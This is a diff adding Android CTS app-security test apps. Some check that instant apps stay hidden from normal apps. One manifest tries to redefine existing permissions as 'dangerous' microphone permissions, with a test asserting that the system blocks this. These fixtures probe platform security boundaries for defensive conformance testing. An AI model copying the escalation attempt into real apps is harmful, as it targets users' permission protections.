+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/NormalWebActivity.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.normalapp;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.content.pm.PackageInfo;
+import android.content.pm.ResolveInfo;
+import android.content.pm.PackageManager.NameNotFoundException;
+import android.net.Uri;
+import android.os.Bundle;
+import android.util.Log;
+
+import com.android.cts.util.TestResult;
+
+import java.io.PrintWriter;
+import java.io.StringWriter;
+import java.util.List;
+
+public class NormalWebActivity extends Activity {
+    private static final String ACTION_START_ACTIVITY =
+            "com.android.cts.ephemeraltest.START_ACTIVITY";
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        boolean canAccessInstantApp = false;
+        String exception = null;
+        try {
+            canAccessInstantApp = tryAccessingInstantApp();
+        } catch (Throwable t) {
+            exception = t.getClass().getName();
+        }
+
+        TestResult.getBuilder()
+                .setPackageName("com.android.cts.normalapp")
+                .setComponentName("NormalWebActivity")
+                .setStatus("PASS")
+                .setException(exception)
+                .setEphemeralPackageInfoExposed(canAccessInstantApp)
+                .build()
+                .broadcast(this);
+        finish();
+    }
+
+    private boolean tryAccessingInstantApp() {
+        try {
+            final PackageInfo info = getPackageManager()
+                    .getPackageInfo("com.android.cts.ephemeralapp1", 0 /*flags*/);
+            return (info != null);
+        } catch (Throwable t) {
+            return false;
+        }
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.mk
new file mode 100644
index 0000000..afd8903
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.mk
@@ -0,0 +1,34 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
+
+LOCAL_PACKAGE_NAME := CtsEphemeralTestsUnexposedApp
+
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
+
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/AndroidManifest.xml
new file mode 100644
index 0000000..39c6981
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.unexposedapp"
+    android:targetSandboxVersion="2">
+
+    <!-- TEST: exists only for testing ephemeral app1 can't see this app -->
+    <application
+        android:label="@string/app_name">
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.cts.unexposedapp" />
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/res/values/strings.xml b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/res/values/strings.xml
new file mode 100644
index 0000000..df991b9
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/res/values/strings.xml
@@ -0,0 +1,18 @@
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+  <string name="app_name">UnexposedApp</string>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/Android.mk
new file mode 100644
index 0000000..1b1ee7d
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/Android.mk
@@ -0,0 +1,37 @@
+#
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    cts-aia-util \
+    android-support-test \
+    legacy-android-test
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
+
+LOCAL_PACKAGE_NAME := CtsEphemeralTestsUserApp
+
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/AndroidManifest.xml
new file mode 100644
index 0000000..fbacf95
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/AndroidManifest.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.userapp"
+    android:targetSandboxVersion="2">
+
+    <application
+        android:label="@string/app_name">
+        <uses-library android:name="android.test.runner" />
+        <activity
+            android:name=".UserActivity"
+            android:directBootAware="true" >
+            <!-- TEST: when installed as an instant app, normal apps can't query for it -->
+            <!-- TEST: when installed as a full app, normal apps can query for it -->
+            <intent-filter android:priority="0">
+                <action android:name="com.android.cts.ephemeraltest.QUERY" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+            </activity>
+    </application>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.cts.userapp" />
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/res/values/strings.xml b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/res/values/strings.xml
new file mode 100644
index 0000000..f795248
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/res/values/strings.xml
@@ -0,0 +1,18 @@
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+  <string name="app_name">UserApp</string>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/src/com/android/cts/userapp/UserActivity.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/src/com/android/cts/userapp/UserActivity.java
new file mode 100644
index 0000000..556b1bb
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/src/com/android/cts/userapp/UserActivity.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.userapp;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.content.pm.ResolveInfo;
+import android.net.Uri;
+import android.os.Bundle;
+
+import com.android.cts.util.TestResult;
+
+import java.util.List;
+
+public class UserActivity extends Activity {
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        TestResult.getBuilder()
+                .setPackageName("com.android.cts.userapp")
+                .setComponentName("UserActivity")
+                .setStatus("PASS")
+                .build()
+                .broadcast(this);
+        finish();
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/Android.mk
new file mode 100644
index 0000000..e1547a1
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/Android.mk
@@ -0,0 +1,36 @@
+#
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-test \
+    legacy-android-test
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
+
+LOCAL_PACKAGE_NAME := CtsEphemeralTestsUserAppTest
+
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/AndroidManifest.xml
new file mode 100644
index 0000000..0e59a1d
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/AndroidManifest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.userapptest" >
+
+    <application
+        android:label="@string/app_name" >
+        <uses-library android:name="android.test.runner" />
+    <!-- Dummy activity just to allow this to load in another user -->
+    <activity
+        android:name=".DirectBoot"
+        android:directBootAware="true" />
+    </application>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.cts.userapptest" />
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/res/values/strings.xml b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/res/values/strings.xml
new file mode 100644
index 0000000..af9c9c6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/res/values/strings.xml
@@ -0,0 +1,18 @@
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+  <string name="app_name">UserAppTest</string>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/src/com/android/cts/userapptest/ClientTest.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/src/com/android/cts/userapptest/ClientTest.java
new file mode 100644
index 0000000..ed038ee
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/src/com/android/cts/userapptest/ClientTest.java
@@ -0,0 +1,63 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.userapptest;
+
+import static org.hamcrest.CoreMatchers.is;
+import static org.junit.Assert.assertThat;
+import static org.junit.Assert.fail;
+
+import android.content.Intent;
+import android.content.pm.ResolveInfo;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+
+@RunWith(AndroidJUnit4.class)
+public class ClientTest {
+    /** Action to query for test activities */
+    private static final String ACTION_QUERY_ACTIVITY =
+            "com.android.cts.ephemeraltest.QUERY";
+
+    @Test
+    public void testQueryInstant() throws Exception {
+        final Intent queryIntent = new Intent(ACTION_QUERY_ACTIVITY);
+        final List<ResolveInfo> resolveInfo = InstrumentationRegistry
+                .getContext().getPackageManager().queryIntentActivities(queryIntent, 0 /*flags*/);
+        if (resolveInfo != null && resolveInfo.size() != 0) {
+            fail("resolved intents");
+        }
+    }
+    
+    @Test
+    public void testQueryFull() throws Exception {
+        final Intent queryIntent = new Intent(ACTION_QUERY_ACTIVITY);
+        final List<ResolveInfo> resolveInfo = InstrumentationRegistry
+                .getContext().getPackageManager().queryIntentActivities(queryIntent, 0 /*flags*/);
+        if (resolveInfo == null || resolveInfo.size() == 0) {
+            fail("didn't resolve any intents");
+        }
+        assertThat(resolveInfo.size(), is(1));
+        assertThat(resolveInfo.get(0).activityInfo.packageName,
+                is("com.android.cts.userapp"));
+        assertThat(resolveInfo.get(0).activityInfo.name,
+                is("com.android.cts.userapp.UserActivity"));
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/util/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/util/Android.mk
new file mode 100644
index 0000000..fc1bd83
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/util/Android.mk
@@ -0,0 +1,27 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := \
+    $(call all-java-files-under, src)
+
+LOCAL_MODULE := cts-aia-util
+
+include $(BUILD_STATIC_JAVA_LIBRARY)
+
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/util/run-test b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/util/run-test
new file mode 100755
index 0000000..46cdc44
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/util/run-test
@@ -0,0 +1,12 @@
+#!/bin/bash
+
+# Helper script for running CTS tests with all the right params.
+# Example usage:
+#  run-test <module> <package_name>  // To run all the tests in a package.
+#  run-test <module> <package_name>.<class_name>  // To run all the tests in a class.
+#  run-test <module> <package_name>.<class_name>#<method_name>  // To run a specific test in a class.
+
+echo " "
+echo "Running module $1 test...$2"
+echo " "
+cts-tradefed run commandAndExit cts-dev --module $1 --test $2 --disable-reboot --skip-device-info --skip-all-system-status-check --skip-preconditions
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/util/src/com/android/cts/util/TestResult.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/util/src/com/android/cts/util/TestResult.java
new file mode 100644
index 0000000..dd326d0
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/util/src/com/android/cts/util/TestResult.java
@@ -0,0 +1,158 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.util;
+
+import android.content.Context;
+import android.content.Intent;
+import android.os.Parcel;
+import android.os.Parcelable;
+import android.os.Parcelable.Creator;
+
+import java.util.ArrayList;
+
+public class TestResult implements Parcelable {
+    public static final String EXTRA_TEST_RESULT =
+            "com.android.cts.ephemeraltest.EXTRA_TEST_RESULT";
+    private static final String ACTION_START_ACTIVITY =
+            "com.android.cts.ephemeraltest.START_ACTIVITY";
+
+    private final String mPackageName;
+    private final String mComponentName;
+    private final String mMethodName;
+    private final String mStatus;
+    private final String mException;
+    private final boolean mInstantAppPackageInfoExposed;
+
+    public String getPackageName() {
+        return mPackageName;
+    }
+
+    public String getComponentName() {
+        return mComponentName;
+    }
+
+    public String getMethodName() {
+        return mMethodName;
+    }
+
+    public String getStatus() {
+        return mStatus;
+    }
+
+    public String getException() {
+        return mException;
+    }
+
+    public boolean getEphemeralPackageInfoExposed() {
+        return mInstantAppPackageInfoExposed;
+    }
+
+    public static Builder getBuilder() {
+        return new Builder();
+    }
+
+    public void broadcast(Context context) {
+        final Intent broadcastIntent = new Intent(ACTION_START_ACTIVITY);
+        broadcastIntent.addCategory(Intent.CATEGORY_DEFAULT);
+        broadcastIntent.addFlags(Intent.FLAG_RECEIVER_VISIBLE_TO_INSTANT_APPS);
+        broadcastIntent.putExtra(EXTRA_TEST_RESULT, this);
+        context.sendBroadcast(broadcastIntent);
+    }
+
+    private TestResult(String packageName, String componentName, String methodName,
+            String status, String exception, boolean ephemeralPackageInfoExposed) {
+        mPackageName = packageName;
+        mComponentName = componentName;
+        mMethodName = methodName;
+        mStatus = status;
+        mException = exception;
+        mInstantAppPackageInfoExposed = ephemeralPackageInfoExposed;
+    }
+
+    @Override
+    public int describeContents() {
+        return 0;
+    }
+
+    @Override
+    public void writeToParcel(Parcel dest, int flags) {
+        dest.writeString(mPackageName);
+        dest.writeString(mComponentName);
+        dest.writeString(mMethodName);
+        dest.writeString(mStatus);
+        dest.writeString(mException);
+        dest.writeBoolean(mInstantAppPackageInfoExposed);
+    }
+
+    public static final Creator<TestResult> CREATOR = new Creator<TestResult>() {
+        public TestResult createFromParcel(Parcel source) {
+            return new TestResult(source);
+        }
+        public TestResult[] newArray(int size) {
+            return new TestResult[size];
+        }
+    };
+
+    private TestResult(Parcel source) {
+        mPackageName = source.readString();
+        mComponentName = source.readString();
+        mMethodName = source.readString();
+        mStatus = source.readString();
+        mException = source.readString();
+        mInstantAppPackageInfoExposed = source.readBoolean();
+    }
+
+    public static class Builder {
+        private String packageName;
+        private String componentName;
+        private String methodName;
+        private String status;
+        private String exception;
+        private boolean instantAppPackageInfoExposed;
+
+        private Builder() {
+        }
+        public Builder setPackageName(String _packageName) {
+            packageName = _packageName;
+            return this;
+        }
+        public Builder setComponentName(String _componentName) {
+            componentName = _componentName;
+            return this;
+        }
+        public Builder setMethodName(String _methodName) {
+            methodName = _methodName;
+            return this;
+        }
+        public Builder setStatus(String _status) {
+            status = _status;
+            return this;
+        }
+        public Builder setException(String _exception) {
+            exception = _exception;
+            return this;
+        }
+        public Builder setEphemeralPackageInfoExposed(boolean _instantAppPackageInfoExposed) {
+            instantAppPackageInfoExposed = _instantAppPackageInfoExposed;
+            return this;
+        }
+        public TestResult build() {
+            return new TestResult(packageName, componentName, methodName,
+                    status, exception, instantAppPackageInfoExposed);
+        }
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.mk b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.mk
new file mode 100644
index 0000000..b1b7f83
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.mk
@@ -0,0 +1,35 @@
+#
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := CtsEscalateToRuntimePermissions
+
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/AndroidManifest.xml
new file mode 100644
index 0000000..198bb39
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/AndroidManifest.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.escalate.permission">
+
+    <permission android:name="com.android.cts.escalate.permission.STEAL_AUDIO1"
+        android:permissionGroup="android.permission-group.MICROPHONE"
+        android:protectionLevel="dangerous"/>
+
+    <permission android:name="com.android.cts.escalate.permission.STEAL_AUDIO2"
+        android:permissionGroup="android.permission-group.MICROPHONE"
+        android:protectionLevel="dangerous"/>
+
+    <uses-permission android:name="com.android.cts.escalate.permission.STEAL_AUDIO1"/>
+    <uses-permission android:name="com.android.cts.escalate.permission.STEAL_AUDIO2"/>
+
+    <application/>
+
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.cts.escalate.permission" />
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/res/values/strings.xml b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/res/values/strings.xml
new file mode 100644
index 0000000..bd208bc
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/res/values/strings.xml
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!-- Just need this dummy file to force building Manifest.java. -->
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+  <string name="keysets_perm_desc">keysets_perm_description</string>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/src/com/android/cts/escalatepermission/PermissionEscalationTest.java b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/src/com/android/cts/escalatepermission/PermissionEscalationTest.java
new file mode 100644
index 0000000..bbe8e02
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/src/com/android/cts/escalatepermission/PermissionEscalationTest.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.escalatepermission;
+
+import android.content.Context;
+import android.content.pm.PermissionInfo;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assert.assertSame;
+
+import com.android.cts.escalate.permission.Manifest;
+
+@RunWith(AndroidJUnit4.class)
+public class PermissionEscalationTest {
+    @Test
+    public void testCannotEscalateNonRuntimePermissionsToRuntime() throws Exception {
+        Context context = InstrumentationRegistry.getTargetContext();
+
+        // Ensure normal permission cannot be made dangerous
+        PermissionInfo stealAudio1Permission1 = context.getPackageManager()
+                .getPermissionInfo(Manifest.permission.STEAL_AUDIO1, 0);
+        assertSame("Shouldn't be able to change normal permission to dangerous",
+                PermissionInfo.PROTECTION_NORMAL, (stealAudio1Permission1.protectionLevel
+                        & PermissionInfo.PROTECTION_MASK_BASE));
+
+        // Ensure signature permission cannot be made dangerous
+        PermissionInfo stealAudio1Permission2 = context.getPackageManager()
+                .getPermissionInfo(Manifest.permission.STEAL_AUDIO2, 0);
+        assertSame("Shouldn't be able to change signature permission to dangerous",
+                PermissionInfo.PROTECTION_SIGNATURE, (stealAudio1Permission2.protectionLevel
+                        & PermissionInfo.PROTECTION_MASK_BASE));
+     }
+ }
diff --git a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.mk b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.mk
index 74d1352..560607b 100644
--- a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.mk
@@ -18,7 +18,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
